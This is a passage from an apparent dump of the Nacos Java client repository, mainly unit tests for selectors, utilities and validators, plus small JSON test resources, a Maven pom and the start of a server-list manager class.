IllegalAccessException {\n        Field clientAuthPluginManagerField = SecurityProxy.class.getDeclaredField(\"clientAuthPluginManager\");\n        clientAuthPluginManagerField.setAccessible(true);\n        ClientAuthPluginManager clientAuthPluginManager = mock(ClientAuthPluginManager.class);\n        clientAuthPluginManagerField.set(securityProxy, clientAuthPluginManager);\n        ClientAuthService mockClientAuthService = mock(ClientAuthService.class);\n        when(mockClientAuthService.getLoginIdentityContext(any())).thenThrow(new RuntimeException(\"test\"));\n        when(clientAuthPluginManager.getAuthServiceSpiImplSet()).thenReturn(Collections.singleton(mockClientAuthService));\n        assertDoesNotThrow(() -> securityProxy.reLogin());\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/selector/AbstractSelectorWrapperTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.selector;\n\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.NamingEvent;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.selector.NamingListenerInvoker;\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractSelectorWrapperTest {\n    \n    private MockSelectorWrapper selectorWrapper;\n    \n    @Mock\n    NamingSelector namingSelector;\n    \n    @Mock\n    EventListener eventListener;\n    \n    @BeforeEach\n    void setUp() {\n        selectorWrapper = new MockSelectorWrapper(namingSelector, eventListener, true, true);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void notifyListenerWithSelectableFalse() {\n        selectorWrapper = new MockSelectorWrapper(namingSelector, eventListener, false, true);\n        selectorWrapper.notifyListener(new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener, never()).onEvent(any());\n    }\n    \n    @Test\n    void notifyListenerWithCallableFalse() {\n        selectorWrapper = new MockSelectorWrapper(namingSelector, eventListener, true, false);\n        selectorWrapper.notifyListener(new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener, never()).onEvent(any());\n    }\n    \n    @Test\n    void notifyListener() {\n        selectorWrapper.notifyListener(new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener).onEvent(any());\n    }\n    \n    @Test\n    void notifyIfListenerIfNotNotifiedWithSelectableFalse() {\n        selectorWrapper = new MockSelectorWrapper(namingSelector, eventListener, false, true);\n        selectorWrapper.notifyIfListenerIfNotNotified(\n                new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener, never()).onEvent(any());\n    }\n    \n    @Test\n    void notifyIfListenerIfNotNotified() {\n        selectorWrapper.notifyIfListenerIfNotNotified(\n                new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener).onEvent(any());\n    }\n    \n    @Test\n    void notifyIfListenerIfNotNotifiedTwice() {\n        selectorWrapper.notifyIfListenerIfNotNotified(\n                new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener).onEvent(any());\n        reset(eventListener);\n        selectorWrapper.notifyIfListenerIfNotNotified(\n                new InstancesChangeEvent(\"test\", \"test\", \"test\", \"test\", null, null));\n        verify(eventListener, never()).onEvent(any());\n    }\n    \n    @Test\n    void testGet() {\n        assertEquals(namingSelector, selectorWrapper.getSelector());\n        assertNotEquals(eventListener, selectorWrapper.getListener());\n        assertEquals(new NamingListenerInvoker(eventListener), selectorWrapper.getListener());\n    }\n    \n    @Test\n    void testEquals() {\n        assertEquals(selectorWrapper, selectorWrapper);\n        assertNotEquals(null, selectorWrapper);\n        assertNotEquals(new NamingSelectorWrapper(namingSelector, eventListener), selectorWrapper);\n        MockSelectorWrapper newSelectorWrapper = new MockSelectorWrapper(namingSelector, eventListener, true, true);\n        assertEquals(newSelectorWrapper, selectorWrapper);\n    }\n    \n    private class MockSelectorWrapper\n            extends AbstractSelectorWrapper<NamingSelector, NamingEvent, InstancesChangeEvent> {\n        \n        private final boolean selectable;\n        \n        private final boolean callable;\n        \n        private MockSelectorWrapper(NamingSelector selector, EventListener listener, boolean selectable,\n                boolean callable) {\n            super(selector, new NamingListenerInvoker(listener));\n            this.selectable = selectable;\n            this.callable = callable;\n        }\n        \n        @Override\n        protected boolean isSelectable(InstancesChangeEvent event) {\n            return selectable;\n        }\n        \n        @Override\n        protected boolean isCallable(NamingEvent event) {\n            return callable;\n        }\n        \n        @Override\n        protected NamingEvent buildListenerEvent(InstancesChangeEvent event) {\n            return new NamingEvent(event.getServiceName(), event.getGroupName(), event.getClusters(),\n                    Collections.emptyList());\n        }\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/selector/SelectorManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.selector;\n\nimport com.alibaba.nacos.client.naming.selector.NamingSelectorWrapper;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\n\npublic class SelectorManagerTest {\n    \n    @Test\n    public void testCurd() {\n        SelectorManager<NamingSelectorWrapper> selectorManager = new SelectorManager<>();\n        String subId = \"subId\";\n        NamingSelectorWrapper sw = mock(NamingSelectorWrapper.class);\n        selectorManager.addSelectorWrapper(subId, sw);\n        assertTrue(selectorManager.getSelectorWrappers(subId).contains(sw));\n        selectorManager.removeSelectorWrapper(subId, sw);\n        assertTrue(selectorManager.getSelectorWrappers(subId).isEmpty());\n    }\n    \n    @Test\n    public void testSubInfo() {\n        SelectorManager<NamingSelectorWrapper> selectorManager = new SelectorManager<>();\n        List<String> list = new ArrayList<>();\n        for (int i = 0; i < 64; i++) {\n            list.add(generateRandomString(2, 32));\n        }\n        \n        for (String subId : list) {\n            selectorManager.addSelectorWrapper(subId, mock(NamingSelectorWrapper.class));\n            assertTrue(selectorManager.isSubscribed(subId));\n        }\n        \n        Set<String> subsSet = selectorManager.getSubscriptions();\n        for (String subId : subsSet) {\n            assertTrue(list.contains(subId));\n        }\n        \n        for (String subId : list) {\n            selectorManager.removeSubscription(subId);\n            assertFalse(selectorManager.isSubscribed(subId));\n        }\n    }\n    \n    private static String generateRandomString(int minLength, int maxLength) {\n        String characters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n        \n        Random random = new Random();\n        int length = random.nextInt(maxLength - minLength + 1) + minLength;\n        StringBuilder sb = new StringBuilder();\n        \n        for (int i = 0; i < length; i++) {\n            int index = random.nextInt(characters.length());\n            char randomChar = characters.charAt(index);\n            sb.append(randomChar);\n        }\n        \n        return sb.toString();\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/EnvUtilTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass EnvUtilTest {\n    \n    @Test\n    void testSetSelfEnv() {\n        Map<String, List<String>> headers = new HashMap<>();\n        headers.put(Constants.AMORY_TAG, Arrays.asList(\"a\", \"1\"));\n        headers.put(Constants.VIPSERVER_TAG, Arrays.asList(\"b\", \"2\"));\n        headers.put(Constants.LOCATION_TAG, Arrays.asList(\"c\", \"3\"));\n        EnvUtil.setSelfEnv(headers);\n        assertEquals(\"a,1\", EnvUtil.getSelfAmoryTag());\n        assertEquals(\"b,2\", EnvUtil.getSelfVipserverTag());\n        assertEquals(\"c,3\", EnvUtil.getSelfLocationTag());\n        // reset by empty list\n        headers.put(Constants.AMORY_TAG, Collections.emptyList());\n        headers.put(Constants.VIPSERVER_TAG, Collections.emptyList());\n        headers.put(Constants.LOCATION_TAG, Collections.emptyList());\n        EnvUtil.setSelfEnv(headers);\n        assertNull(EnvUtil.getSelfAmoryTag());\n        assertNull(EnvUtil.getSelfVipserverTag());\n        assertNull(EnvUtil.getSelfLocationTag());\n    }\n    \n    @Test\n    void testSetSelfEnv2() {\n        Map<String, List<String>> headers = new HashMap<>();\n        headers.put(Constants.AMORY_TAG, Arrays.asList(\"a\", \"1\"));\n        headers.put(Constants.VIPSERVER_TAG, Arrays.asList(\"b\", \"2\"));\n        headers.put(Constants.LOCATION_TAG, Arrays.asList(\"c\", \"3\"));\n        EnvUtil.setSelfEnv(headers);\n        assertEquals(\"a,1\", EnvUtil.getSelfAmoryTag());\n        assertEquals(\"b,2\", EnvUtil.getSelfVipserverTag());\n        assertEquals(\"c,3\", EnvUtil.getSelfLocationTag());\n        // reset\n        headers.put(Constants.AMORY_TAG, null);\n        headers.put(Constants.VIPSERVER_TAG, null);\n        headers.put(Constants.LOCATION_TAG, null);\n        EnvUtil.setSelfEnv(headers);\n        assertNull(EnvUtil.getSelfAmoryTag());\n        assertNull(EnvUtil.getSelfVipserverTag());\n        assertNull(EnvUtil.getSelfLocationTag());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/LogUtilsTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.slf4j.Logger;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass LogUtilsTest {\n    \n    @Test\n    void testLogger() {\n        Logger logger = LogUtils.logger(LogUtilsTest.class);\n        assertNotNull(logger);\n    }\n    \n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/ParamUtilTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass ParamUtilTest {\n    \n    private int defaultConnectTimeout;\n    \n    private int defaultReadTimeout;\n    \n    private double defaultPerTaskConfigSize;\n    \n    @BeforeEach\n    void before() {\n        defaultConnectTimeout = 1000;\n        defaultReadTimeout = 3000;\n        defaultPerTaskConfigSize = 3000.0;\n    }\n    \n    @AfterEach\n    void after() {\n        ParamUtil.setConnectTimeout(defaultConnectTimeout);\n        ParamUtil.setReadTimeout(defaultReadTimeout);\n        ParamUtil.setPerTaskConfigSize(defaultPerTaskConfigSize);\n        System.clearProperty(\"NACOS.CONNECT.TIMEOUT\");\n        System.clearProperty(\"NACOS_READ_TIMEOUT\");\n        System.clearProperty(\"PER_TASK_CONFIG_SIZE\");\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL);\n    }\n    \n    @Test\n    void testSetConnectTimeout() {\n        int defaultVal = ParamUtil.getConnectTimeout();\n        assertEquals(defaultConnectTimeout, defaultVal);\n        \n        int expect = 50;\n        ParamUtil.setConnectTimeout(expect);\n        assertEquals(expect, ParamUtil.getConnectTimeout());\n    }\n    \n    @Test\n    void testSetReadTimeout() {\n        int defaultVal = ParamUtil.getReadTimeout();\n        assertEquals(defaultReadTimeout, defaultVal);\n        \n        int expect = 3000;\n        ParamUtil.setReadTimeout(expect);\n        assertEquals(expect, ParamUtil.getReadTimeout());\n    }\n    \n    @Test\n    void testGetPerTaskConfigSize() {\n        double defaultVal = ParamUtil.getPerTaskConfigSize();\n        assertEquals(defaultPerTaskConfigSize, defaultVal, 0.01);\n        \n        double expect = 50.0;\n        ParamUtil.setPerTaskConfigSize(expect);\n        assertEquals(expect, ParamUtil.getPerTaskConfigSize(), 0.01);\n    }\n    \n    @Test\n    void testInitConnectionTimeoutWithException() throws Throwable {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Method method = ParamUtil.class.getDeclaredMethod(\"initConnectionTimeout\");\n            method.setAccessible(true);\n            System.setProperty(\"NACOS.CONNECT.TIMEOUT\", \"test\");\n            try {\n                method.invoke(null);\n            } catch (InvocationTargetException e) {\n                throw e.getCause();\n            }\n        });\n    }\n    \n    @Test\n    void testInitReadTimeoutWithException() throws Throwable {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Method method = ParamUtil.class.getDeclaredMethod(\"initReadTimeout\");\n            method.setAccessible(true);\n            System.setProperty(\"NACOS.READ.TIMEOUT\", \"test\");\n            try {\n                method.invoke(null);\n            } catch (InvocationTargetException e) {\n                throw e.getCause();\n            }\n        });\n    }\n    \n    @Test\n    void testInitPerTaskConfigSizeWithException() throws Throwable {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Method method = ParamUtil.class.getDeclaredMethod(\"initPerTaskConfigSize\");\n            method.setAccessible(true);\n            System.setProperty(\"PER_TASK_CONFIG_SIZE\", \"test\");\n            try {\n                method.invoke(null);\n            } catch (InvocationTargetException e) {\n                throw e.getCause();\n            }\n        });\n    }\n    \n    @Test\n    void testSimplyEnvNameIfOverLimit() {\n        StringBuilder envNameOverLimitBuilder = new StringBuilder(\"test\");\n        for (int i = 0; i < 50; i++) {\n            envNameOverLimitBuilder.append(i);\n        }\n        String envName = envNameOverLimitBuilder.toString();\n        String actual = ParamUtil.simplyEnvNameIfOverLimit(envName);\n        String expect = envName.substring(0, 50) + MD5Utils.md5Hex(envName, \"UTF-8\");\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testSimplyEnvNameNotOverLimit() {\n        String expect = \"test\";\n        assertEquals(expect, ParamUtil.simplyEnvNameIfOverLimit(expect));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/PreInitUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.TimeUnit;\n\nclass PreInitUtilsTest {\n    \n    @Test\n    void testAsyncPreLoadCostComponent() throws InterruptedException {\n        // There is no things need to be assert.\n        // The method will called when nacos-client init to async to load some components to reduce the sync load time.\n        PreInitUtils.asyncPreLoadCostComponent();\n        // No exception is ok.\n        // Let async thread run completed\n        TimeUnit.SECONDS.sleep(2);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/StringUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\n\nimport static com.alibaba.nacos.common.utils.StringUtils.defaultIfEmpty;\nimport static com.alibaba.nacos.common.utils.StringUtils.isNotBlank;\nimport static com.alibaba.nacos.common.utils.StringUtils.isNotEmpty;\nimport static com.alibaba.nacos.common.utils.StringUtils.join;\nimport static com.alibaba.nacos.common.utils.StringUtils.substringBetween;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass StringUtilsTest {\n    \n    @Test\n    void testisNotBlank() {\n        assertTrue(isNotBlank(\"foo\"));\n        \n        assertFalse(isNotBlank(\" \"));\n        assertFalse(isNotBlank(null));\n    }\n    \n    @Test\n    void testIsNotEmpty() {\n        assertFalse(isNotEmpty(\"\"));\n        \n        assertTrue(isNotEmpty(\"foo\"));\n    }\n    \n    @Test\n    void testDefaultIfEmpty() {\n        assertEquals(\"foo\", defaultIfEmpty(\"\", \"foo\"));\n        assertEquals(\"bar\", defaultIfEmpty(\"bar\", \"foo\"));\n    }\n    \n    @Test\n    void testEquals() {\n        assertTrue(StringUtils.equals(\"foo\", \"foo\"));\n        \n        assertFalse(StringUtils.equals(\"bar\", \"foo\"));\n        assertFalse(StringUtils.equals(\" \", \"foo\"));\n        assertFalse(StringUtils.equals(\"foo\", null));\n    }\n    \n    @Test\n    void testSubstringBetween() {\n        assertNull(substringBetween(null, null, null));\n        assertNull(substringBetween(\"\", \"foo\", \"\"));\n        assertNull(substringBetween(\"foo\", \"bar\", \"baz\"));\n        \n        assertEquals(\"\", substringBetween(\"foo\", \"foo\", \"\"));\n    }\n    \n    @Test\n    void testJoin() {\n        assertNull(join(null, \"\"));\n        \n        Collection collection = new ArrayList();\n        collection.add(\"foo\");\n        collection.add(\"bar\");\n        assertEquals(\"foo,bar\", join(collection, \",\"));\n    }\n\n    @Test\n    void testUuidPattern() {\n        // match 8-4-4-4-12 uuid pattern\n        assertTrue(StringUtils.isUuidString(\"123e4567-e89b-12d3-a456-426655440000\"));\n        // not match 8-4-4-4-12 uuid pattern\n        assertFalse(StringUtils.isUuidString(\"123e54567-e89b5-12d35-a4565-426655440000\"));\n        // not match hexadecimal and '-' char\n        assertFalse(StringUtils.isUuidString(\"@23e4567+e89b-12d3-a456-426655440000\"));\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/utils/ValidatorUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass ValidatorUtilsTest {\n    \n    @Test\n    void testContextPathLegal() {\n        String contextPath1 = \"/nacos\";\n        ValidatorUtils.checkContextPath(contextPath1);\n        String contextPath2 = \"nacos\";\n        ValidatorUtils.checkContextPath(contextPath2);\n        String contextPath3 = \"/\";\n        ValidatorUtils.checkContextPath(contextPath3);\n        String contextPath4 = \"\";\n        ValidatorUtils.checkContextPath(contextPath4);\n        // allow null\n        ValidatorUtils.checkContextPath(null);\n    }\n    \n    @Test\n    void testContextPathIllegal1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String contextPath1 = \"//nacos/\";\n            ValidatorUtils.checkContextPath(contextPath1);\n        });\n    }\n    \n    @Test\n    void testContextPathIllegal2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String contextPath2 = \"/nacos//\";\n            ValidatorUtils.checkContextPath(contextPath2);\n        });\n    }\n    \n    @Test\n    void testContextPathIllegal3() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String contextPath3 = \"///\";\n            ValidatorUtils.checkContextPath(contextPath3);\n        });\n    }\n    \n    @Test\n    void testContextPathIllegal4() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String contextPath4 = \"//\";\n            ValidatorUtils.checkContextPath(contextPath4);\n        });\n    }\n    \n    @Test\n    void testCheckInitParam() {\n        Assertions.assertDoesNotThrow(() -> {\n            Properties properties = new Properties();\n            properties.setProperty(PropertyKeyConst.CONTEXT_PATH, \"test\");\n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n            ValidatorUtils.checkInitParam(nacosClientProperties);\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/test/resources/disk_cache_test/error%40%40json%40%40file",
    "content": "{error_json}"
  },
  {
    "path": "client/src/test/resources/disk_cache_test/ignored%40%40not_json%40%40file",
    "content": "ignored file"
  },
  {
    "path": "client/src/test/resources/disk_cache_test/invalid_dir/invalid_file",
    "content": ""
  },
  {
    "path": "client/src/test/resources/disk_cache_test/legal%40%40no_name%40%40file",
    "content": "{\"ip\":\"1.1.1.1\",\"port\":1234,\"weight\":1.0,\"healthy\":true,\"enabled\":true,\"ephemeral\":true,\"clusterName\":\"file\",\"serviceName\":\"no_name\",\"metadata\":{\"chinese\":\"中文\"},\"instanceHeartBeatInterval\":5000,\"instanceHeartBeatTimeOut\":15000,\"ipDeleteTimeout\":30000}\n"
  },
  {
    "path": "client/src/test/resources/disk_cache_test/legal%40%40with_name%40%40file",
    "content": "{\"name\":\"legal@@with_name\",\"clusters\":\"file\",\"cacheMillis\":1000,\"hosts\":[{\"ip\":\"1.1.1.1\",\"port\":1234,\"weight\":1.0,\"healthy\":true,\"enabled\":true,\"ephemeral\":true,\"clusterName\":\"file\",\"serviceName\":\"with_name\",\"metadata\":{\"chinese\":\"中文\"},\"instanceHeartBeatInterval\":5000,\"instanceHeartBeatTimeOut\":15000,\"ipDeleteTimeout\":30000}],\"lastRefTime\":0,\"checksum\":\"\",\"allIPs\":false,\"reachProtectionThreshold\":false,\"valid\":true}\n"
  },
  {
    "path": "client/src/test/resources/failover_test/disabled/00-00---000-VIPSRV_FAILOVER_SWITCH-000---00-00",
    "content": "0"
  },
  {
    "path": "client/src/test/resources/failover_test/enabled/00-00---000-VIPSRV_FAILOVER_SWITCH-000---00-00",
    "content": "1"
  },
  {
    "path": "client/src/test/resources/failover_test/enabled/invalid_dir/invalid_file",
    "content": ""
  },
  {
    "path": "client/src/test/resources/failover_test/enabled/legal%40%40with_name%40%40file",
    "content": "{\"name\":\"legal@@with_name\",\"clusters\":\"file\",\"cacheMillis\":1000,\"hosts\":[{\"ip\":\"1.1.1.1\",\"port\":1234,\"weight\":1.0,\"healthy\":true,\"enabled\":true,\"ephemeral\":true,\"clusterName\":\"file\",\"serviceName\":\"with_name\",\"metadata\":{\"chinese\":\"中文\"},\"instanceHeartBeatInterval\":5000,\"instanceHeartBeatTimeOut\":15000,\"ipDeleteTimeout\":30000}],\"lastRefTime\":0,\"checksum\":\"\",\"allIPs\":false,\"reachProtectionThreshold\":false,\"valid\":true}\n"
  },
  {
    "path": "client-basic/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2025 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    \n    <artifactId>nacos-client-basic</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-client-basic ${project.version}</name>\n    <url>https://nacos.io</url>\n    <description>Nacos client basic pom.xml file</description>\n    \n    <properties>\n        <maven.compiler.source>${client.java.version}</maven.compiler.source>\n        <maven.compiler.target>${client.java.version}</maven.compiler.target>\n    </properties>\n    \n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-api</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-common</artifactId>\n            <optional>true</optional>\n        </dependency>\n        \n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <optional>true</optional>\n        </dependency>\n        \n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-auth-plugin</artifactId>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/address/AbstractServerListManager.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.JustForTest;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.remote.client.ServerListFactory;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport 